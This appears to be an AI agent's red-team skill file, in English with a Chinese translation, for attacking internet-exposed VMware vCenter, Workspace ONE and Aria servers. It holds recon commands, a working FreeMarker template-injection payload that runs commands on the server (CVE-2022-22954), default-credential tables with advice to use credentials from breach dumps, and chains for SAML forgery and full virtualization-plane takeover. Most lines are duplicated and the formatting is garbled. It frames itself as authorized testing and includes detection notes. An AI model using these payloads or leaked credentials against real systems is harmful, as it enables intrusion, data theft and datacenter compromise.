vmware-vcenter-attack

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Original

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🇨🇳

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Chinese

When to use

使用时机

Trigger when external recon shows ANY of:
  • Banner: "VMware vCenter Server", "VMware vSphere Client"
  • URL paths:
    /ui
    ,
    /ui/login
    ,
    /websso/SAML2/Metadata
    ,
    /sdk
    ,
    /mob
    (Managed Object Browser)
  • TLS cert SAN includes
    vcenter
    /
    vsphere
    /
    vcsa
    /
    psc
    /
    vmware
  • Workspace ONE Access / Identity Manager:
    /SAAS
    ,
    /SAAS/auth
    ,
    /SAAS/login
    ,
    /SAAS/horizon
  • VMware Aria / vRealize:
    /vco
    ,
    /vco-controlcenter
    ,
    /orchestrator
    ,
    /lcm/api/v1
  • Horizon View:
    /portal
    ,
    /admin
Do NOT use for:
  • Internal-network vCenter (out of scope — external boundary discipline)
  • Pure ESXi hypervisor exposed without management plane (rare on internet; flag as separate finding)

当外部侦察显示以下任一情况时触发:
  • Banner:"VMware vCenter Server"、"VMware vSphere Client"
  • URL 路径:
    /ui
    、
    /ui/login
    、
    /websso/SAML2/Metadata
    、
    /sdk
    、
    /mob
    (Managed Object Browser)
  • TLS 证书 SAN 包含
    vcenter
    /
    vsphere
    /
    vcsa
    /
    psc
    /
    vmware
  • Workspace ONE Access / Identity Manager:
    /SAAS
    、
    /SAAS/auth
    、
    /SAAS/login
    、
    /SAAS/horizon
  • VMware Aria / vRealize:
    /vco
    、
    /vco-controlcenter
    、
    /orchestrator
    、
    /lcm/api/v1
  • Horizon View:
    /portal
    、
    /admin
不适用于:
  • 内网 vCenter(不在范围内——遵守仅限外部的边界原则)
  • 仅暴露 ESXi hypervisor 而无管理平面(互联网中很少见;应作为单独的发现项标记)

Step 1 — Version fingerprinting

第 1 步——版本指纹识别

bash
TARGET="vcenter.target.com"
bash
TARGET="vcenter.target.com"

Build info endpoint (often public; revealing exact patch level)

Build info endpoint (often public; revealing exact patch level)

curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"
curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"

UI build (visible in page source)

UI build (visible in page source)

curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}' curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'
curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}' curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'

REST API version (vSphere 7+)

REST API version (vSphere 7+)

curl -sk "https://$TARGET/api/appliance/system/version"
curl -sk "https://$TARGET/api/appliance/system/version"

Cert metadata

Cert metadata

echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

SSO Admin Service (info disclosure)

SSO Admin Service (info disclosure)

curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local" curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

Map build → version → CVE applicability via VMware advisories (vmware.com/security/advisories).

---
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local" curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

通过 VMware advisories(vmware.com/security/advisories),将构建版本映射到产品版本,再映射到 CVE 的适用性。

---

Step 2 — CVE matrix (external-exploitable, sorted by historical impact)

第 2 步——CVE 矩阵(可从外部利用,按历史影响排序)

CVEAffectedVectorStatus
CVE-2024-37085ESXi 7.0/8.0 < specific patchAD group "ESX Admins" auto-admin bypassHigh — Domain takeover→ESXi RCE, exploited in ransomware ops
CVE-2024-22273ESXi/Workstation/Fusion/vCenter storage controllerOOB read/write — requires VM-local access (NOT a pre-auth network SSRF; see Section 9)Important (CVSS 8.1), not external pre-auth
CVE-2024-22252/53Workstation/Fusion (not vCenter)Sandbox escapeNot external
CVE-2023-34048vCenter 7/8 < specific buildDCE/RPC pre-auth heap OOB write → RCECritical, patched 2023-10
CVE-2023-20887Aria Operations for NetworksPre-auth command injection → RCECritical
CVE-2023-20892vCenter 7/8Use-after-free in DCE/RPCHigh
CVE-2022-31656/31659Workspace ONE Access 21.xPre-auth SSRF + auth bypassCritical chained
CVE-2022-22954Workspace ONE AccessPre-auth server-side template injection (SSTI) → RCECritical, widely exploited
CVE-2021-22005vCenter 6.7/7.0 < buildAnalytics service pre-auth file upload → RCECritical
CVE-2021-21985vCenter 6.5/6.7/7.0 < buildvSAN Health Check plugin pre-auth RCECritical
CVE-2021-21972vCenter 6.5/6.7/7.0 < buildvRealize plugin
/ui/vropspluginui/rest/services/uploadova
pre-auth file upload → RCE
Critical, exploited heavily
CVE-2020-3992ESXi OpenSLPPre-auth use-after-free → RCECritical, ESXi ransomware vector
CVE-2019-5544ESXi OpenSLPPre-auth heap overflowCritical

CVE受影响项攻击向量状态
CVE-2024-37085低于特定补丁版本的 ESXi 7.0/8.0AD 组 "ESX Admins" 自动管理员权限绕过高危——域接管 → ESXi RCE,已被勒索软件运营者利用
CVE-2024-22273ESXi/Workstation/Fusion/vCenter 存储控制器越界读/写——需要 VM 本地访问(不是预认证网络 SSRF;参见第 9 节)重要(CVSS 8.1),不属于外部预认证攻击
CVE-2024-22252/53Workstation/Fusion(不包括 vCenter)沙箱逃逸非外部攻击
CVE-2023-34048低于特定构建版本的 vCenter 7/8DCE/RPC 预认证堆越界写入 → RCE严重,已于 2023-10 修复
CVE-2023-20887Aria Operations for Networks预认证命令注入 → RCE严重
CVE-2023-20892vCenter 7/8DCE/RPC 中的释放后使用高危
CVE-2022-31656/31659Workspace ONE Access 21.x预认证 SSRF + 身份验证绕过严重,可形成漏洞链
CVE-2022-22954Workspace ONE Access预认证服务端模板注入(SSTI)→ RCE严重,已被广泛利用
CVE-2021-22005低于特定构建版本的 vCenter 6.7/7.0Analytics 服务预认证文件上传 → RCE严重
CVE-2021-21985低于特定构建版本的 vCenter 6.5/6.7/7.0vSAN Health Check 插件预认证 RCE严重
CVE-2021-21972低于特定构建版本的 vCenter 6.5/6.7/7.0vRealize 插件
/ui/vropspluginui/rest/services/uploadova
预认证文件上传 → RCE
严重,已遭大量利用
CVE-2020-3992ESXi OpenSLP预认证释放后使用 → RCE严重,ESXi 勒索软件攻击向量
CVE-2019-5544ESXi OpenSLP预认证堆溢出严重

Step 3 — CVE-2021-21972 probe (still common on stale appliances)

第 3 步——CVE-2021-21972 探测(在陈旧设备上仍很常见)

bash
undefined
bash
undefined

Detection only — DO NOT execute the file upload without explicit scope OK

Detection only — DO NOT execute the file upload without explicit scope OK

curl -sk -o /dev/null -w "%{http_code}\n"
"https://$TARGET/ui/vropspluginui/rest/services/uploadova"
curl -sk -o /dev/null -w "%{http_code}\n"
"https://$TARGET/ui/vropspluginui/rest/services/uploadova"

405 → endpoint exists, version vulnerable

405 → endpoint exists, version vulnerable

404 → patched (endpoint removed)

404 → patched (endpoint removed)

401 → patched (auth required)

401 → patched (auth required)

curl -sk -o /dev/null -w "%{http_code}\n"
"https://$TARGET/ui/vropspluginui/rest/services/getstatus"

Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra without explicit RCE-attempt sign-off.

---
curl -sk -o /dev/null -w "%{http_code}\n"
"https://$TARGET/ui/vropspluginui/rest/services/getstatus"

Mikhail Klyuchnikov 已发布公开 PoC;未经明确签署 RCE 尝试授权,不要针对客户基础设施执行。

---

Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe

第 4 步——CVE-2022-22954(Workspace ONE SSTI)探测

bash
undefined
bash
undefined

Stage A — detection only: reachability + baseline. No command execution yet.

Stage A — detection only: reachability + baseline. No command execution yet.

curl -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n"
"https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
curl -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n"
"https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"

4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.

4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.

404 → patched/removed. Keep the baseline body to diff against Stage B.

404 → patched/removed. Keep the baseline body to diff against Stage B.

Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary

Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary

so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.

so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.

CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')" curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execution"?new()("echo ${CANARY}; id")}"
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')" curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execution"?new()("echo ${CANARY}; id")}"

Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output

Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output

that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).

that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).


Confirmed RCE requires the unique `$CANARY` reflected in-band plus `uid=` output not present in the Stage-A baseline → critical. Stop and report. A bare `uid=` with no canary echo is NOT confirmation.

---

只有当唯一的 `$CANARY` 在带内响应中原样回显,且响应包含 Stage-A 基线中不存在的 `uid=` 输出时,才能确认 RCE → 严重。立即停止并报告。仅出现 `uid=` 而没有 canary 回显不构成确认。

---

Step 5 — Default credentials (frequently still valid on lab/staging vCenters)

第 5 步——默认凭据(实验/预发布 vCenter 上仍经常有效)

ProductDefault userDefault password
vCenter 6.x
administrator@vsphere.local
<set-during-install>
vCenter Appliance root
root
vmware
(legacy) or
<set>
ESXi root
root
<blank>
or
vmware
vCenter Server Appliance Mgmt (5480)
root
<set-during-install>
Aria Operations
admin
vmware
(legacy)
Workspace ONE
admin
<set>
⚠ Do not spray vCenter —
administrator@vsphere.local
has VERY low lockout threshold
(often 3 attempts → 60s lockout, configurable to permanent). One attempt with high-confidence guess only. Use creds discovered in breach corpora.

产品默认用户默认密码
vCenter 6.x
administrator@vsphere.local
<set-during-install>
vCenter Appliance root
root
vmware
(旧版)或
<set>
ESXi root
root
<blank>
或
vmware
vCenter Server Appliance Mgmt (5480)
root
<set-during-install>
Aria Operations
admin
vmware
(旧版)
Workspace ONE
admin
<set>
⚠ 不要对 vCenter 进行喷洒式尝试——
administrator@vsphere.local
的锁定阈值非常低(通常尝试 3 次 → 锁定 60 秒,也可配置为永久锁定)。仅在高度确信时尝试一次。使用从泄露语料中发现的凭据。

Step 6 — SSO / vmdir LDAP enumeration

第 6 步——SSO / vmdir LDAP 枚举

bash
undefined
bash
undefined

SSO Admin endpoint (frequently exposes domain info)

SSO Admin endpoint (frequently exposes domain info)

curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -

Extract Identity Source info

Extract Identity Source info

curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"

Try anonymous LDAP bind to vmdir (port 389/636 if exposed)

Try anonymous LDAP bind to vmdir (port 389/636 if exposed)

ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"

---
ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"

---

Step 7 — Managed Object Browser (MOB) — frequently leaks data

第 7 步——Managed Object Browser(MOB),经常泄露数据

bash
curl -skI "https://$TARGET/mob"
bash
curl -skI "https://$TARGET/mob"

401 → auth required (good for the defender)

401 → auth required (good for the defender)

200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs

200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs

Auth'd MOB lets you walk the entire vSphere tree:

Auth'd MOB lets you walk the entire vSphere tree:

curl -sk -u 'administrator@vsphere.local:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"

---
curl -sk -u 'administrator@vsphere.local:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"

经过身份验证的 MOB 可用于遍历整个 vSphere 树:

---

Step 8 — vSphere REST API enumeration (post-cred)

第 8 步——vSphere REST API 枚举(获取凭据后)

bash
undefined
bash
undefined

Get session token

Get session token

curl -sk -X POST -u 'user@vsphere.local:<pw>' "https://$TARGET/api/session"
curl -sk -X POST -u 'user@vsphere.local:<pw>' "https://$TARGET/api/session"

Returns: "<session-token>"

Returns: "<session-token>"

List VMs

List VMs

curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"

List hosts

List hosts

curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"

List datastores

List datastores

curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"

Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)

Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)

/folder/<path>?dsName=<ds>&dcPath=<dc>

/folder/<path>?dsName=<ds>&dcPath=<dc>

curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"

---
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"

---

Step 9 — Workspace ONE Access specific paths

第 9 步——Workspace ONE Access 特定路径

bash
undefined
bash
undefined

Metadata

Metadata

curl -sk "https://$TARGET/SAAS/auth/saml/response" curl -sk "https://$TARGET/SAAS/auth/wsfed/services/idp" curl -sk "https://$TARGET/SAAS/jersey/manager/api/health" curl -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"
curl -sk "https://$TARGET/SAAS/auth/saml/response" curl -sk "https://$TARGET/SAAS/auth/wsfed/services/idp" curl -sk "https://$TARGET/SAAS/jersey/manager/api/health" curl -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"

Login page

Login page

curl -sk "https://$TARGET/SAAS/login/0"

---
curl -sk "https://$TARGET/SAAS/login/0"

---

Step 10 — Aria / vRealize specific paths

第 10 步——Aria / vRealize 特定路径

bash
undefined
bash
undefined

vRealize Operations Manager

vRealize Operations Manager

curl -sk "https://$TARGET/suite-api/api/versions" curl -sk "https://$TARGET/casa/nodes/thumbprints"
curl -sk "https://$TARGET/suite-api/api/versions" curl -sk "https://$TARGET/casa/nodes/thumbprints"

Aria Automation

Aria Automation

curl -sk "https://$TARGET/csp/gateway/am/api/about" curl -sk "https://$TARGET/cluster-administration/api/health"
curl -sk "https://$TARGET/csp/gateway/am/api/about" curl -sk "https://$TARGET/cluster-administration/api/health"

vRealize Orchestrator

vRealize Orchestrator

curl -sk "https://$TARGET/vco/api/about" curl -sk "https://$TARGET/vco-controlcenter/api/health"

---
curl -sk "https://$TARGET/vco/api/about" curl -sk "https://$TARGET/vco-controlcenter/api/health"

---

Tooling

工具

  • vCenter-Exploit
    collection
    (multiple PoCs on GitHub for 21972, 21985, 22005)
  • Greenbone/openvas-scanner
    VMware NASL plugins
    — version detection
  • nuclei
    templates:
    vmware-vcenter-*.yaml
    ,
    cve-2021-21972.yaml
    ,
    cve-2022-22954.yaml
  • Metasploit
    modules:
    exploit/multi/http/vmware_vcenter_*

  • vCenter-Exploit
    collection
    (GitHub 上有多个针对 21972、21985、22005 的 PoC)
  • Greenbone/openvas-scanner
    VMware NASL 插件
    ——用于版本检测
  • nuclei
    模板
    :
    vmware-vcenter-*.yaml
    、
    cve-2021-21972.yaml
    、
    cve-2022-22954.yaml
  • Metasploit
    模块
    :
    exploit/multi/http/vmware_vcenter_*

Detection patterns (what defenders/SOC will see)

检测模式(防御方/SOC 将观察到的行为)

  • Excessive 404s on
    /ui/vropspluginui/*
    — IDS signature
  • POST to
    /sdk
    from non-management IP
  • administrator@vsphere.local
    auth failures
  • TLS handshake fingerprint changes
  • Plugin upload to vRealize endpoint
Pair with
mid-engagement-ir-detection
skill — vCenter is monitored heavily in mature SOCs.

  • /ui/vropspluginui/*
    上出现大量 404——IDS 特征
  • 从非管理 IP 向
    /sdk
    发起 POST
  • administrator@vsphere.local
    身份验证失败
  • TLS 握手指纹发生变化
  • 向 vRealize endpoint 上传插件
与
mid-engagement-ir-detection
skill 配合使用——成熟的 SOC 会对 vCenter 进行密切监控。

External-only boundary check

仅限外部的边界检查

If recon reveals vCenter only via VPN (not direct internet) → STOP. That is internal infrastructure and outside the external-only AI scope per
feedback_skill_boundaries
. The user handles internal vCenter work directly.
Internet-exposed vCenter is unfortunately common on the perimeter — and frequently outdated by years. The 2021-21972 / 21985 / 22954 trifecta still pays in 2026 because patching cycles for hypervisor management are slow and vendor-managed.

如果侦察显示 vCenter 仅可通过 VPN 访问(并非直接暴露于互联网)→ 停止。根据
feedback_skill_boundaries
,它属于内部基础设施,超出了仅限外部的 AI 范围。用户直接处理内部 vCenter 相关工作。
互联网暴露的 vCenter 遗憾地常见于网络边界,而且往往会过时数年。即使到了 2026 年,2021-21972 / 21985 / 22954 三件套仍然有效,因为 hypervisor 管理平面的补丁周期缓慢且由厂商托管。

Severity scoring guidance (red-team deliverable context)

严重性评分指南(红队交付物语境)

FindingSeverity
vCenter on internet, current patchInformational (attack surface note)
vCenter on internet, missing patches with public RCECritical (entire virtualization plane compromise)
vCenter on internet + default admin passwordCritical (immediate full takeover)
Workspace ONE on internet, unpatched 22954Critical
MOB anonymously accessibleHigh (full topology disclosure)
/sdk reachable + version disclosure onlyMedium (info disclosure + attack-surface concentration)

发现项严重性
暴露在互联网上的 vCenter,且已安装当前补丁信息级(攻击面说明)
暴露在互联网上的 vCenter,缺少补丁且存在公开 RCE严重(整个虚拟化平面失陷)
暴露在互联网上的 vCenter + 默认管理员密码严重(可立即完全接管)
暴露在互联网上的 Workspace ONE,22954 未修复严重
MOB 可匿名访问高危(完整拓扑泄露)
/sdk
可访问且仅存在版本泄露
中危(信息泄露 + 攻击面集中)

Anti-patterns

反模式

  • DO NOT spray vCenter SSO — lockout is aggressive; one chance often
  • DO NOT execute file-upload PoCs without explicit OK — they create persistent webshells; cleanup overhead and audit trail
  • DO NOT confuse ESXi-management-on-internet with vCenter — different attack surfaces; ESXi Open SLP CVEs target port 427
  • DO NOT skip SSL handshake banner check — VMware exposes versions there; this is the lowest-noise initial probe

  • 不要对 vCenter SSO 进行喷洒式尝试——锁定策略非常激进;通常只有一次机会
  • 未经明确许可,不要执行文件上传 PoC——它们会创建持久化 webshell,并增加清理负担和审计痕迹
  • 不要将互联网暴露的 ESXi 管理面与 vCenter 混淆——二者攻击面不同;ESXi Open SLP CVE 针对 427 端口
  • 不要跳过 SSL 握手 Banner 检查——VMware 会在此暴露版本信息;这是噪声最低的初始探测方式

Bridge to neighboring skills

与相邻 skill 的衔接

  • enterprise-vpn-attack
    — vCenter is frequently the post-VPN target; if VPN is breached, vCenter is the natural next pivot (but internal — defer to user)
  • m365-entra-attack
    — vCenter SSO sometimes federated to Entra; cred-chain bridging
  • mid-engagement-ir-detection
    — vCenter monitoring is sensitive; expect mid-engagement mitigations
  • redteam-report-template
    — vCenter findings need clear blast-radius framing (this is the virtualization plane, not just an app)

  • enterprise-vpn-attack
    ——vCenter 经常是攻破 VPN 后的目标;如果 VPN 被攻破,vCenter 是自然的下一步枢轴(但属于内网——应交给用户)
  • m365-entra-attack
    ——vCenter 有时使用 Entra 进行 SSO 联合;用于衔接凭据链
  • mid-engagement-ir-detection
    ——对 vCenter 的监控非常敏感;预计会触发中期缓解措施
  • redteam-report-template
    ——vCenter 发现项需要清晰说明爆炸半径(这是虚拟化平面,不只是单个应用)

Related Skills & Chains

相关 Skills 与漏洞链

  • hunt-saml
    — vCenter Workspace ONE / VMware Identity Manager publishes SAML SP metadata at
    /SAAS/API/1.0/GET/metadata/idp.xml
    and consumes assertions at predictable ACS URLs. Chain primitive: vCenter SAML SP metadata reachable → IdP fingerprinted →
    hunt-saml
    XSW1-XSW8 against the federating IdP → forged assertion with
    userPrincipalName=administrator@vsphere.local
    → SP-impersonation as vCenter admin → full virtualization-plane takeover.
  • hunt-rce
    — VMware's high-impact CVE catalog (CVE-2021-21972, CVE-2021-21985, CVE-2022-22954, CVE-2023-20887) is almost entirely pre-auth RCE. Chain primitive: vCenter version fingerprint via SSL banner or
    /ui/login
    body → confirm patch level missing →
    hunt-rce
    deserialization/SSTI gadget from the matching CVE PoC →
    root
    on vCenter appliance → API-token mint → cluster-wide VM control.
  • enterprise-vpn-attack
    — VPN compromise + vCenter on internal-only is a natural post-VPN pivot, but external-only engagement scope sometimes forbids it. Chain primitive: VPN appliance CVE → foothold inside corp network → if scope permits,
    vmware-vcenter-attack
    becomes reachable on internal-only vCenter → datacenter takeover.
  • m365-entra-attack
    — Some VMware deployments federate vCenter SSO to Entra. Chain primitive: vCenter SSO discovery → AuthURL points to
    login.microsoftonline.com
    →
    m365-entra-attack
    Entra ATO on
    administrator@vsphere.local
    synced identity → SAML assertion → vCenter admin without ever brute-forcing vCenter SSO.
  • mid-engagement-ir-detection
    — VMware vSAN/vCenter alerting is sensitive; expect SOC to patch or block within hours of detection. Chain primitive: confirmed vCenter CVE → run
    mid-engagement-ir-detection
    baseline capture BEFORE attempting exploitation → if response patterns change mid-test, capture the SOC-patched state as a SECOND finding (defensive-action observed). Package both via
    redteam-report-template
    .

  • hunt-saml
    ——vCenter Workspace ONE / VMware Identity Manager 会在
    /SAAS/API/1.0/GET/metadata/idp.xml
    发布 SAML SP metadata,并在可预测的 ACS URL 上消费断言。链式原语:vCenter SAML SP metadata 可访问 → 识别 IdP → 针对联合身份 IdP 执行
    hunt-saml
    XSW1-XSW8 → 伪造包含
    userPrincipalName=administrator@vsphere.local
    的断言 → 以 vCenter 管理员身份冒充 SP → 完全接管虚拟化平面。
  • hunt-rce
    ——VMware 的高影响 CVE 目录(CVE-2021-21972、CVE-2021-21985、CVE-2022-22954、CVE-2023-20887)几乎全部属于预认证 RCE。链式原语:通过 SSL Banner 或
    /ui/login
    body 识别 vCenter 版本 → 确认缺少对应补丁 → 使用匹配 CVE PoC 中的
    hunt-rce
    反序列化/SSTI gadget → 获得 vCenter Appliance 上的
    root
    → 生成 API token → 控制整个集群的 VM。
  • enterprise-vpn-attack
    ——攻破 VPN 后,攻击仅限内网的 vCenter 是自然的后续枢轴,但外部限定范围的评估有时会禁止这样做。链式原语:VPN Appliance CVE → 在企业网络内建立立足点 → 如果范围允许,则可触达仅限内网的
    vmware-vcenter-attack
    → 接管数据中心。
  • m365-entra-attack
    ——部分 VMware 部署会将 vCenter SSO 联合到 Entra。链式原语:发现 vCenter SSO → AuthURL 指向
    login.microsoftonline.com
    →
    m365-entra-attack
    对同步到 Entra 的
    administrator@vsphere.local
    身份执行 ATO → SAML 断言 → 在完全不暴力破解 vCenter SSO 的情况下成为 vCenter 管理员。
  • mid-engagement-ir-detection
    ——VMware vSAN/vCenter 的告警非常敏感;预计 SOC 会在数小时内进行修补或阻断。链式原语:确认 vCenter CVE → 在尝试漏洞利用前运行
    mid-engagement-ir-detection
    基线捕获 → 如果测试期间响应模式发生变化,则将 SOC 已修补的状态作为第二项发现(观察到防御措施)捕获。通过
    redteam-report-template
    一并打包。

Disclosed CVEs & coordinated-disclosure citations

已披露 CVE 与协同披露引用

These are the load-bearing public references for every CVE called out in the matrix above. Every entry includes the vendor advisory, the originating researcher writeup or KEV-catalog entry, and (where public) in-the-wild exploitation references.
以下是上述矩阵中每个 CVE 的关键公开参考。每个条目均包含厂商公告、最初研究者文章或 KEV catalog 条目,以及在存在公开资料时附上的在野利用参考。

1. CVE-2021-21972 — vCenter
vropspluginui
unauthenticated arbitrary file upload (canonical pre-auth RCE)

1. CVE-2021-21972——vCenter
vropspluginui
未认证任意文件上传(典型的预认证 RCE)

2. CVE-2021-21985 — vCenter vSAN Health Check plug-in pre-auth RCE

2. CVE-2021-21985——vCenter vSAN Health Check 插件预认证 RCE

3. CVE-2021-22005 — vCenter Analytics service arbitrary file upload → RCE

3. CVE-2021-22005——vCenter Analytics 服务任意文件上传 → RCE

4. CVE-2022-22954 — Workspace ONE Access / Identity Manager FreeMarker SSTI → RCE

4. CVE-2022-22954——Workspace ONE Access / Identity Manager FreeMarker SSTI → RCE

5. CVE-2022-22972 — Workspace ONE Access / Identity Manager / vRealize Automation Host-header authentication bypass

5. CVE-2022-22972——Workspace ONE Access / Identity Manager / vRealize Automation Host Header 身份验证绕过

6. CVE-2023-20887 — VMware Aria Operations for Networks (vRealize Network Insight) pre-auth command injection → RCE

6. CVE-2023-20887——VMware Aria Operations for Networks(vRealize Network Insight)预认证命令注入 → RCE

7. CVE-2023-34048 — vCenter Server DCERPC pre-auth out-of-bounds write → RCE (APT-exploited zero-day)

7. CVE-2023-34048——vCenter Server DCERPC 预认证越界写入 → RCE(被 APT 利用的零日漏洞)

8. CVE-2024-37085 — ESXi Active Directory integration "ESX Admins" auth bypass (ransomware-favorite)

8. CVE-2024-37085——ESXi Active Directory 集成“ESX Admins”身份验证绕过(勒索软件常用漏洞)

9. CVE-2024-22273 — ESXi / Workstation / Fusion / vCenter storage controller OOB read/write

9. CVE-2024-22273——ESXi / Workstation / Fusion / vCenter 存储控制器越界读/写

  • Note on the original ticket: This CVE was listed in the brief as "Aria SSRF," but the actual NVD record describes an ESXi/vCenter storage controller out-of-bounds read/write, not an Aria SSRF. The closest Aria SSRF-adjacent issue in the 2024 cycle is CVE-2023-34063 (VMSA-2024-0001) — Aria Automation missing access control allowing authenticated cross-org access; CVSSv3 9.9. Both are cited so the matrix is technically accurate.
  • Affected (CVE-2024-22273): ESXi 7.0/8.0, Workstation 17.x, Fusion 13.x. vCenter Server packaged variants. Requires VM-local access with storage controllers enabled.
  • Attack flow: VM with storage controllers enabled can issue crafted I/O to trigger OOB read/write on the host → information disclosure or DoS of the host (escape not directly demonstrated). CVSS 8.1 (Important).
  • Root cause: Missing bounds check in the storage controller emulation path.
  • Disclosure: Reported by Hao Zheng (@zhz) and Jiaqing Huang (@s0duku) of TianGong Team, Legendsec @ Qi'anxin Group. Advisory VMSA-2024-0011 published 2024-05-21. Year discovered 2024, patched 2024.
  • References: https://www.vmware.com/security/advisories/VMSA-2024-0011.html ; https://nvd.nist.gov/vuln/detail/CVE-2024-22273 ; https://www.rapid7.com/db/vulnerabilities/vmsa-2024-0011-cve-2024-22273/
  • Aria-specific companion — CVE-2023-34063 (VMSA-2024-0001): Aria Automation 8.11.x–8.14.x missing access control — authenticated actor obtains unauthorized cross-organization access to remote workflows. CVSSv3 9.9. Patched in Aria Automation 8.16. References: https://www.vmware.com/security/advisories/VMSA-2024-0001.html ; https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation

10. CVE-2020-3992 + CVE-2021-21974 — ESXi OpenSLP pre-auth use-after-free / heap overflow (ESXiArgs ransomware vector)

10. CVE-2020-3992 + CVE-2021-21974——ESXi OpenSLP 预认证释放后使用 / 堆溢出(ESXiArgs 勒索软件攻击向量)

Bonus: CVE-2022-31656 — Workspace ONE Access / Identity Manager / vRealize Automation auth bypass (post-22972 follow-up)

附加:CVE-2022-31656——Workspace ONE Access / Identity Manager / vRealize Automation 身份验证绕过(22972 后续漏洞)



Key meta-references (cross-CVE)

关键元参考(跨 CVE)

The pattern across every entry above: VMware management-plane CVEs are pre-auth, network-reachable, and mass-exploited within days of patch. When external recon surfaces any of these products at a current-minus-one patch level, that is a Critical finding worth a same-day callout in the deliverable — not a Medium info-disclosure.
上述每个条目都呈现出同一模式:**VMware 管理平面 CVE 均可预认证、通过网络访问,并常在补丁发布后数日内遭到大规模利用。**当外部侦察发现其中任一产品的补丁级别仅落后一个版本时,应将其评为严重(Critical)发现,并在交付物中当日通报,而非仅视为中危信息泄露。